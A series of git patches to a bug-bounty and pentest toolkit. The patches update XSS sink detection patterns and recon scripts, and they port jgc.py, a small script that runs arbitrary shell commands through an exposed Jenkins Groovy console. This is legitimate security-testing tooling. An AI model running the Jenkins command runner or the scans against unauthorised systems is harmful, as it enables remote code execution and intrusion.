".*attr.action", - ".*attr.formaction", - ".*prop.href", - ".*prop.src", - ".*prop.data", - ".*prop.action", - ".*prop.formaction", - "form.action", - ".*input.formaction", - ".*button.formaction", - ".*button.value", - ".*setAttribute.href", - ".*setAttribute.src", - ".*setAttribute.data", - ".*setAttribute.action", - ".*setAttribute.formaction", - "webdatabase.executeSql", - ".*document.domain", - ".*history.pushState", - ".*history.replaceState", - ".*setRequestHeader", - ".*websocket", - ".*anchor.href", - ".*anchor.target", - ".*JSON.parse", - ".*document.cookie", - ".*localStorage.setItem.name", - ".*localStorage.setItem.value", - ".*sessionStorage.setItem.name", - ".*sessionStorage.setItem.value", - ".*outerText", - ".*innerText", - ".*textContent", - ".*style.cssText", - ".*RegExp" +browrser_patterns = [ + r".*urlsearchParams\(", + r".*innerHTML", + r".*innerText", + r".*textContent", + r".*outerHTML", + r".*appendChild\(", + r".*document.write\(", + r".*document.writeln\(", + r".*document.location", + r".*document.URL", + r".*document.documentURI", + r".*document.URLUnencoded", + r".*document.baseURI", + r".*document.referrer", + r".*location.href", + r".*location.search", + r".*location.hash", + r".*location.host", + r".*location.pathname", + r".*document.cookie", + r".*history.pushState\(", + r".*history.replaceState\(", + r".*navigator.userAgent", + r".*window.open\(", + r".*postMessage\(", + r".*.addEventListener\(['\"]message['\"]", + r".*.ajax\(", + r".*.getJSON\(", + r".*\$http\(", + r".*navigator.sendBeacon\(", + r".*\.add\(", + r".*\.append\(", + r".*\.after\(", + r".*\.before\(", + r".*\.html\(", + r".*\.prepend\(", + r".*\.replaceWith\(", + r".*\.wrap\(", + r".*\.wrapAll\(", + r".*\.dangerouslySetInnerHTML", + r".*\.bypassSecurityTrust.*", + r".*localStorage\.", + r".*sessionStorage\.", + r".*\$sce\.trustAsHtml\(", + r".*\.load\(", + r".*jQuery\.ajax\(", + r".*parseHTML", + r".*wrap.*\(", + r".*html\(", + r".*before\(", + r".*after\(", + r".*insertBefore\(", + r".*insertAfter\(", + r".*prepend", + r".*setContent\(", + r".*setHTML\(", + r".*\.SafeString\(", + r".*globalEval", + r".*execScript", + r".*insertAdjacentHTML\(", + r".*setAttribute.on", + r".*xhr.open", + r".*xhr.send", + r"fetch", + r".*xhr.setRequestHeader.name", + r".*xhr.setRequestHeader.value", + r".*attr.href", + r".*attr.src", + r".*attr.data", + r".*attr.action", + r".*attr.formaction", + r".*prop.href", + r".*prop.src", + r".*prop.data", + r".*prop.action", + r".*prop.formaction", + r"form.action", + r".*input.formaction", + r".*button.formaction", + r".*button.value", + r".*setAttribute.href", + r".*setAttribute.src", + r".*setAttribute.data", + r".*setAttribute.action", + r".*setAttribute.formaction", + r"webdatabase.executeSql", + r".*document.domain", + r".*history.pushState", + r".*history.replaceState", + r".*setRequestHeader", + r".*websocket", + r".*anchor.href", + r".*anchor.target", + r".*JSON.parse", + r".*document.cookie", + r".*localStorage.setItem.name", + r".*localStorage.setItem.value", + r".*sessionStorage.setItem.name", + r".*sessionStorage.setItem.value", + r".*outerText", + r".*innerText", + r".*textContent", + r".*style.cssText", + r".*RegExp" ] -url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") +url_regex = re.compile(r"(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") urls = [] patterns = nodejs_patterns @@ -341,7 +341,7 @@ def perform_code_analysis(src, pattern="", verbose=False): parser.add_argument( "-u", "--include-urls", help="identify URLs", action="store_true") parser.add_argument( - "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx, like '.*fork\('. nodestructor removes whiitespaces, so if you want to look for 'new fn()', your pattern should look like this: '.*newfn\(\)' (all special characters for RegEx have to be escaped with \ )") + "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx") args = parser.parse_args() From e203c37e4bb5b55befb13483a24fa9863c4990c1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 17:49:59 +0100 Subject: [PATCH 427/460] [s0mbra] remove unused phpsast --- s0mbra.sh | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index f9bfaec..e25c7cd 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -587,14 +587,6 @@ graphw00f() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# runs PHP SAST tools against PHP application -php_sast() { - clear - echo -e "$BLUE[s0mbra] Running static code analysis...$CYAN" - semgrep scan --config=auto --severity ERROR --dataflow-traces --sarif -o ./$1.sarif $1 - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - # runs Ruby SAST tools against Ruby application ruby_sast() { clear @@ -772,9 +764,6 @@ case "$cmd" in snyktest) snyktest ;; - phpsast) - php_sast "$2" - ;; gql) gql "$2" ;; @@ -883,7 +872,7 @@ case "$cmd" in echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" - echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" + echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN urls $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN secrets $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR\t$CYAN endpoints $GRAY[FILE|DIR|URL]\t$YELLOW(JavaScript)$CLR" From 3105223760f1852aafdf4323e8db468482e762df Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 18:04:44 +0100 Subject: [PATCH 428/460] cleanup --- vi.py => Vi/vi.py | 2 + chromium | 37 ----------------- composer.json | 5 --- composer.lock | 78 ------------------------------------ crawl.py | 35 ---------------- dec0der.sh | 18 --------- endpoints.txt | 1 - enumeratescope.sh | 100 ---------------------------------------------- ip_generator.py | 8 ++-- jgc.py | 19 ++++----- subdomain_enum.sh | 0 11 files changed, 16 insertions(+), 287 deletions(-) rename vi.py => Vi/vi.py (98%) delete mode 100755 chromium delete mode 100644 composer.json delete mode 100644 composer.lock delete mode 100644 crawl.py delete mode 100755 dec0der.sh delete mode 100644 endpoints.txt delete mode 100755 enumeratescope.sh mode change 100755 => 100644 subdomain_enum.sh diff --git a/vi.py b/Vi/vi.py similarity index 98% rename from vi.py rename to Vi/vi.py index 096e41f..6ff26c7 100644 --- a/vi.py +++ b/Vi/vi.py @@ -119,6 +119,8 @@ def recon(emails: set, javascript_files: set): for mail in emails: print(mail) + for url in urls: + print(url) for js_file in javascript_files: print(js_file) diff --git a/chromium b/chromium deleted file mode 100755 index 5e907ef..0000000 --- a/chromium +++ /dev/null @@ -1,37 +0,0 @@ -#!/bin/bash -# -# see available options: -# http://peter.sh/experiments/chromium-command-line-switches/ -# -# 8080 - is a standard port for Burp - -# To disable XSS Auditor in Chromium simply put 0 as second argument, 1 leaves XSS Auditor enabled -# to enable auto opening DevTools, set 1 as a third argument - -echo -echo "Usage: chromium [port] [enable xss Auditor] [open DevTools for new tabs]" -echo " example:" -echo " $ chromium 8080 1 1 - runs Chromium listening on 8080, XSS Auditor enabled and DevTools open in new tab(s)" - -# default settings -xss_auditor="" -port="" -devtools="" - -if [ $1 -ne 80 ]; then - port="--proxy-server=127.0.0.1:$1" -fi - -if [ $2 == 0 ]; then - xss_auditor="--disable-xss-auditor" -fi - -if [ $3 == 1 ]; then - devtools="--auto-open-devtools-for-tabs" -fi - -# update those lines to your system specific path: -cd /Applications/Chromium.app/Contents/MacOS -echo "[+] running ./Chromium $port $xss_auditor $devtools" - -./Chromium $port $xss_auditor $devtools diff --git a/composer.json b/composer.json deleted file mode 100644 index 5575f14..0000000 --- a/composer.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "require-dev": { - "phpstan/phpstan": "^1.8" - } -} \ No newline at end of file diff --git a/composer.lock b/composer.lock deleted file mode 100644 index 51bd5e0..0000000 --- a/composer.lock +++ /dev/null @@ -1,78 +0,0 @@ -{ - "_readme": [ - "This file locks the dependencies of your project to a known state", - "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", - "This file is @generated automatically" - ], - "content-hash": "911267b8ad1b1bb25c74a4db8118c301", - "packages": [], - "packages-dev": [ - { - "name": "phpstan/phpstan", - "version": "1.8.2", - "source": { - "type": "git", - "url": "https://github.com/phpstan/phpstan.git", - "reference": "c53312ecc575caf07b0e90dee43883fdf90ca67c" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpstan/zipball/c53312ecc575caf07b0e90dee43883fdf90ca67c", - "reference": "c53312ecc575caf07b0e90dee43883fdf90ca67c", - "shasum": "" - }, - "require": { - "php": "^7.2|^8.0" - }, - "conflict": { - "phpstan/phpstan-shim": "*" - }, - "bin": [ - "phpstan", - "phpstan.phar" - ], - "type": "library", - "autoload": { - "files": [ - "bootstrap.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "description": "PHPStan - PHP Static Analysis Tool", - "support": { - "issues": "https://github.com/phpstan/phpstan/issues", - "source": "https://github.com/phpstan/phpstan/tree/1.8.2" - }, - "funding": [ - { - "url": "https://github.com/ondrejmirtes", - "type": "github" - }, - { - "url": "https://github.com/phpstan", - "type": "github" - }, - { - "url": "https://www.patreon.com/phpstan", - "type": "patreon" - }, - { - "url": "https://tidelift.com/funding/github/packagist/phpstan/phpstan", - "type": "tidelift" - } - ], - "time": "2022-07-20T09:57:31+00:00" - } - ], - "aliases": [], - "minimum-stability": "stable", - "stability-flags": [], - "prefer-stable": false, - "prefer-lowest": false, - "platform": [], - "platform-dev": [], - "plugin-api-version": "2.1.0" -} diff --git a/crawl.py b/crawl.py deleted file mode 100644 index 1b4fc55..0000000 --- a/crawl.py +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/python -import sys -import json -import requests -import argparse -from bs4 import BeautifulSoup - - -def results(file): - content = open(file, 'r').readlines() - for line in content: - data = json.loads(line.strip()) - urls = [] - for url in data['results']: - urls.append(url['url']) - return urls - - -def crawl(url): - r = requests.get(url) - soup = BeautifulSoup(r.text, 'lxml') - links = soup.findAll('a', href=True) - for link in links: - link = link['href'] - if link and link != '#': - print '[+] {} : {}'.format(url, link) - -if __name__ == "__main__": - parser = argparse.ArgumentParser() - parser.add_argument("file", help="ffuf results") - args = parser.parse_args() - urls = results(args.file) - - for url in urls: - crawl(url) diff --git a/dec0der.sh b/dec0der.sh deleted file mode 100755 index bd914db..0000000 --- a/dec0der.sh +++ /dev/null @@ -1,18 +0,0 @@ -#!/bin/bash - -# simple command line decoder/enmcoder -# by bl4de -# -# invoke: -# dec0der [FROM] [string] - -FROM=$1 -STRING=$2 - -if [[ $FROM == 'ascii' ]]; then - echo $STRING | xxd -r -p -fi - -if [[ $FROM == 'base64' ]]; then - echo $STRING | base64 -D -fi diff --git a/endpoints.txt b/endpoints.txt deleted file mode 100644 index ff772e2..0000000 --- a/endpoints.txt +++ /dev/null @@ -1 +0,0 @@ -/api/v1/user diff --git a/enumeratescope.sh b/enumeratescope.sh deleted file mode 100755 index 46c4e8b..0000000 --- a/enumeratescope.sh +++ /dev/null @@ -1,100 +0,0 @@ -#!/bin/bash -# Subdomain enumeration and web server discovery + screenshot tools -# -# @author: bl4de -# @licence: MIT -# - -HOME=/Users/bl4de - -## create domains/ folder -create_domains_folder() { - if [ ! -d domains ]; then - mkdir domains - echo -e "$(date) domains/ folder created" >> subdomain_enum.log - fi -} - - -## perform sublist3r, subfinder and amass enumeration on each domain passed as an argument -enumerate_domain() { - local DOMAIN=$1 - echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log - sublister -d $DOMAIN -o domains/$DOMAIN.sublister - subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - # amass enum -active -norecursive -noalts -d $DOMAIN -o domains/$DOMAIN.amass - - if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then - cat domains/$DOMAIN.* > domains/$DOMAIN.all - sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN - fi - rm -f domains/$DOMAIN.* - echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log -} - -## creates list of uniqe, sorted domains obtained from subdomain enum tools: -create_list_of_domains() { - echo -e "$(date) create final list of domains found..." >> subdomain_enum.log - # concatenate and sort all domains from the target - cat domains/*.* > domains/all - # remove
left from DNS records into unsorted list with dups: - sed 's/
/#/g' domains/all | tr '#' '\n' > domains/unsorted - # remove dups and create final list of domains: - sort -u -k 1 domains/unsorted > domains/final - # remove temporary files - rm -f domains/all domains/unsorted - # show how many uniq domains were found: - echo -e "$(date) ... Done! $(cat domains/final|wc -l) unique domains gathered \o/" >> subdomain_enum.log -} - - -## runs denumerator -run_denumerator() { - echo $1 - echo -e "$(date) denumerator started" >> subdomain_enum.log - # denumerator -f domains/final -c 200,403,500,301,302,304,404,206,405,411,415,422 --dir $1 --output __$1.log - denumerator -f domains/final -c 200,403,500,206,405,411,415,422 --dir $1 --output __$1.log - echo -e "$(date) denumerator finished" >> subdomain_enum.log - echo -e "$(date) total webservers enumerated and saved to report: $(ls -l reports/$1 | wc -l)" >> subdomain_enum.log -} - - - -## ----------------------------------------------------------------------------- - -# list of domains - text file, one domain per line -DOMAINS=$1 - -# output directory for denumerator -if [ -z $2 ]; then - OUTPUT_DIR="report" -else - OUTPUT_DIR=$2 -fi - - -# IP address range -CIDR=$3 - -echo -e "$(date) subdomain_enum.sh started" > subdomain_enum.log - -# enusre that domains/ folder exists, if not create one -create_domains_folder - -cat $DOMAINS | while read DOMAIN -do - enumerate_domain $DOMAIN -done - -# concatenate and sort all domains from the target -create_list_of_domains -echo -e "\n[+} DONE. Found $(wc -l domains/final) unique subdomains" - -# run denumerator on the domains/domains.final output file -run_denumerator $OUTPUT_DIR - -echo -e "\n[+} DONE." - -## ----------------------------------------------------------------------------- - - diff --git a/ip_generator.py b/ip_generator.py index 75330a1..9952cbd 100755 --- a/ip_generator.py +++ b/ip_generator.py @@ -18,7 +18,7 @@ def help(): - print usage + print(usage) def generate(start, stop, logfile): @@ -31,6 +31,7 @@ def generate(start, stop, logfile): logfile.writelines("{}\n".format(res)) return + if __name__ == "__main__": f = open("ip_list.log", "w+") @@ -41,7 +42,6 @@ def generate(start, stop, logfile): start = sys.argv[1].split(".") stop = sys.argv[2].split(".") - print "\n[+] generating IP addresses in range from {} to {}...".format(sys.argv[1], sys.argv[2]) + print("\n[+] generating IP addresses in range from {} to {}...".format(sys.argv[1], sys.argv[2])) generate(start, stop, f) - print "[+] addresses generated...\n" - \ No newline at end of file + print("[+] addresses generated...\n") diff --git a/jgc.py b/jgc.py index 71a8504..2511599 100755 --- a/jgc.py +++ b/jgc.py @@ -2,27 +2,28 @@ import requests import sys -print """ -Jenkins Groovy Console cmd runner. +print(""" + Jenkins Groovy Console cmd runner. -usage: ./jgc.py [HOST] + usage: ./jgc.py [HOST] + + Then type any command and wait for STDOUT output from remote machine. + Type 'exit' to exit :) +""") -Then type any command and wait for STDOUT output from remote machine. -Type 'exit' to exit :) -""" URL = sys.argv[1] + '/scriptText' HEADERS = { 'User-Agent': 'jgc' } while 1: - CMD = raw_input(">> Enter command to execute (or type 'exit' to exit): ") + CMD = input(">> Enter command to execute (or type 'exit' to exit): ") if CMD == 'exit': - print "exiting...\n" + print("exiting...\n") exit(0) DATA = { 'script': 'println "{}".execute().text'.format(CMD) } result = requests.post(URL, headers=HEADERS, data=DATA) - print result.text + print(result.text) diff --git a/subdomain_enum.sh b/subdomain_enum.sh old mode 100755 new mode 100644 From a5cbfbec76e7757913b3eab757ecd7fbd9e8226e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 18:07:29 +0100 Subject: [PATCH 429/460] cleanup --- Vi/vi.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/Vi/vi.py b/Vi/vi.py index 6ff26c7..af5d33c 100644 --- a/Vi/vi.py +++ b/Vi/vi.py @@ -1,9 +1,10 @@ -from bs4 import BeautifulSoup -import requests -import requests.exceptions +import re import urllib.parse from collections import deque -import re + +import requests +import requests.exceptions +from bs4 import BeautifulSoup ''' Vi.py - an automated script to extract all inteersting information from website @@ -19,9 +20,6 @@ - parse HTML for stuff - harvest useful information from any comment found (in HTML and JS alike) - other? (TBA) - -- add as a submodule (enabled by cmd option) to denumerator.py - and perform full recon of every website found in scope ''' @@ -92,7 +90,7 @@ def recon(emails: set, javascript_files: set): parts = urllib.parse.urlsplit(url) base_url = '{0.scheme}://{0.netloc}'.format(parts) - path = url[:url.rfind('/')+1] if '/' in parts.path else url + path = url[:url.rfind('/') + 1] if '/' in parts.path else url print('[%d] Processing %s' % (count, url)) try: @@ -126,7 +124,6 @@ def recon(emails: set, javascript_files: set): if __name__ == "__main__": - emails = set() javascript_files = set() From 03fcd59a461886e1cc7f227825b6626b9a8d5334 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 15 Aug 2024 12:38:15 +0100 Subject: [PATCH 430/460] updates --- Vi/vi.py | 1 + s0mbra.sh | 2 ++ 2 files changed, 3 insertions(+) mode change 100644 => 100755 Vi/vi.py diff --git a/Vi/vi.py b/Vi/vi.py old mode 100644 new mode 100755 index af5d33c..7e4fddc --- a/Vi/vi.py +++ b/Vi/vi.py @@ -1,3 +1,4 @@ +#!/usr/bin/env python import re import urllib.parse from collections import deque diff --git a/s0mbra.sh b/s0mbra.sh index e25c7cd..3be341d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -847,6 +847,7 @@ case "$cmd" in ;; *) clear + echo -e "$CLR" echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" echo -e "$CYAN webservers $GRAY[SUBDOMAINS FILE]$CLR" @@ -883,5 +884,6 @@ case "$cmd" in echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t$CYAN hashme $GRAY[STRING]$CLR" echo -e "$CLR" + echo -e "$CLR" ;; esac From 6b0ce6b47f9f5cfd41e2e04516beb9a86b9cb81f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 18 Aug 2024 12:31:51 +0100 Subject: [PATCH 431/460] small updates --- pef/pef.py | 2 +- s0mbra.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index df18390..89510f0 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -299,7 +299,7 @@ def run(self): self.scanned_files = self.scanned_files + 1 (res, file_found) = self.main(os.path.join(root, f)) if file_found > 0: - print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") + print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n") total_found += file_found else: self.scanned_files = self.scanned_files + 1 diff --git a/s0mbra.sh b/s0mbra.sh index 3be341d..c66111f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -262,7 +262,7 @@ webservers() { START_TIME=$(date) # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,403,500 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From 82ef16e2b7ae9a0cb3c879f2efb018743890f89a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 18 Aug 2024 12:32:16 +0100 Subject: [PATCH 432/460] small updates --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index 89510f0..407e036 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -318,7 +318,7 @@ def print_summary(self, total_found: int) -> None: """ prints summary at the bottom of search results """ - print(f"{beautyConsole.getColor('white')}Issues found: {total_found}") + print(f"{beautyConsole.getColor('white')}Patterns found: {total_found}") print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") print(f"{beautyConsole.getColor('grey')}Level: {self.level}\n") From 159045b3185435ed65318a2a2fd1f4830faf778b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 19 Aug 2024 09:59:02 +0100 Subject: [PATCH 433/460] pefdocs update --- pef/imports/pefdocs.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index e6fa9ab..d17844c 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -85,7 +85,7 @@ "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", "popen ( string $command , string $mode ) : resource", "Code Injection", - "high", + "critical", "sink" ], "proc_open()": [ @@ -145,7 +145,7 @@ "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", "call_user_func ( callable $callback [, mixed $... ] ) : mixed", "Code Injection", - "medium", + "high", "sink" ], "ereg_replace()": [ @@ -531,7 +531,7 @@ "Write data to a file", "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", "Arbitrary file write", - "medium", + "high", "source" ], "SELECT.*FROM": [ From 3927893f85cd5e4982f27af75380fc7328e52e65 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 8 Sep 2024 20:14:56 +0100 Subject: [PATCH 434/460] [s0mbra] menu update --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index c66111f..4ff49e3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -873,10 +873,10 @@ case "$cmd" in echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" - echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN urls $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN secrets $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR\t$CYAN endpoints $GRAY[FILE|DIR|URL]\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From 2c82ccbdb909bc08cbf1381735f661060cdea9da Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Oct 2024 12:37:03 +0100 Subject: [PATCH 435/460] [s0mbra] remove Subfinder --- s0mbra.sh | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4ff49e3..62939ac 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -217,11 +217,11 @@ peek() { START_TIME=$(date) DOMAIN=$1 echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" - - # sublister - echo -e "\n$GREEN--> sublister$CLR\n" - sublister -v -d $DOMAIN -o "$TMPDIR/sublister_$DOMAIN.log" + ## + ## other subdomain enumeration tool(s) goes here... + ## + # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/subfinder.log @@ -234,18 +234,17 @@ peek() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,403,500 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log rm -rf httpx* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' @@ -262,7 +261,7 @@ webservers() { START_TIME=$(date) # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,403,500 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,304,403,500 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From 15cbf80a3adbc1389eebd2e262ad2031da8a6ff8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Oct 2024 18:32:01 +0100 Subject: [PATCH 436/460] [s0mbra] revert changes --- s0mbra.sh | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 62939ac..804f4b3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -217,11 +217,11 @@ peek() { START_TIME=$(date) DOMAIN=$1 echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" - - ## - ## other subdomain enumeration tool(s) goes here... - ## + # sublister + echo -e "\n$GREEN--> sublister$CLR\n" + sublister -v -d $DOMAIN -o "$TMPDIR/sublister_$DOMAIN.log" + # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/subfinder.log @@ -238,13 +238,14 @@ peek() { # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" + rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log rm -rf httpx* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' From 33aec79d82d91efde0cae8670637dac918d44379 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Oct 2024 18:48:17 +0100 Subject: [PATCH 437/460] [s0mbra] Split peek into enum+webservers --- s0mbra.sh | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 804f4b3..bcc9f7b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -209,7 +209,7 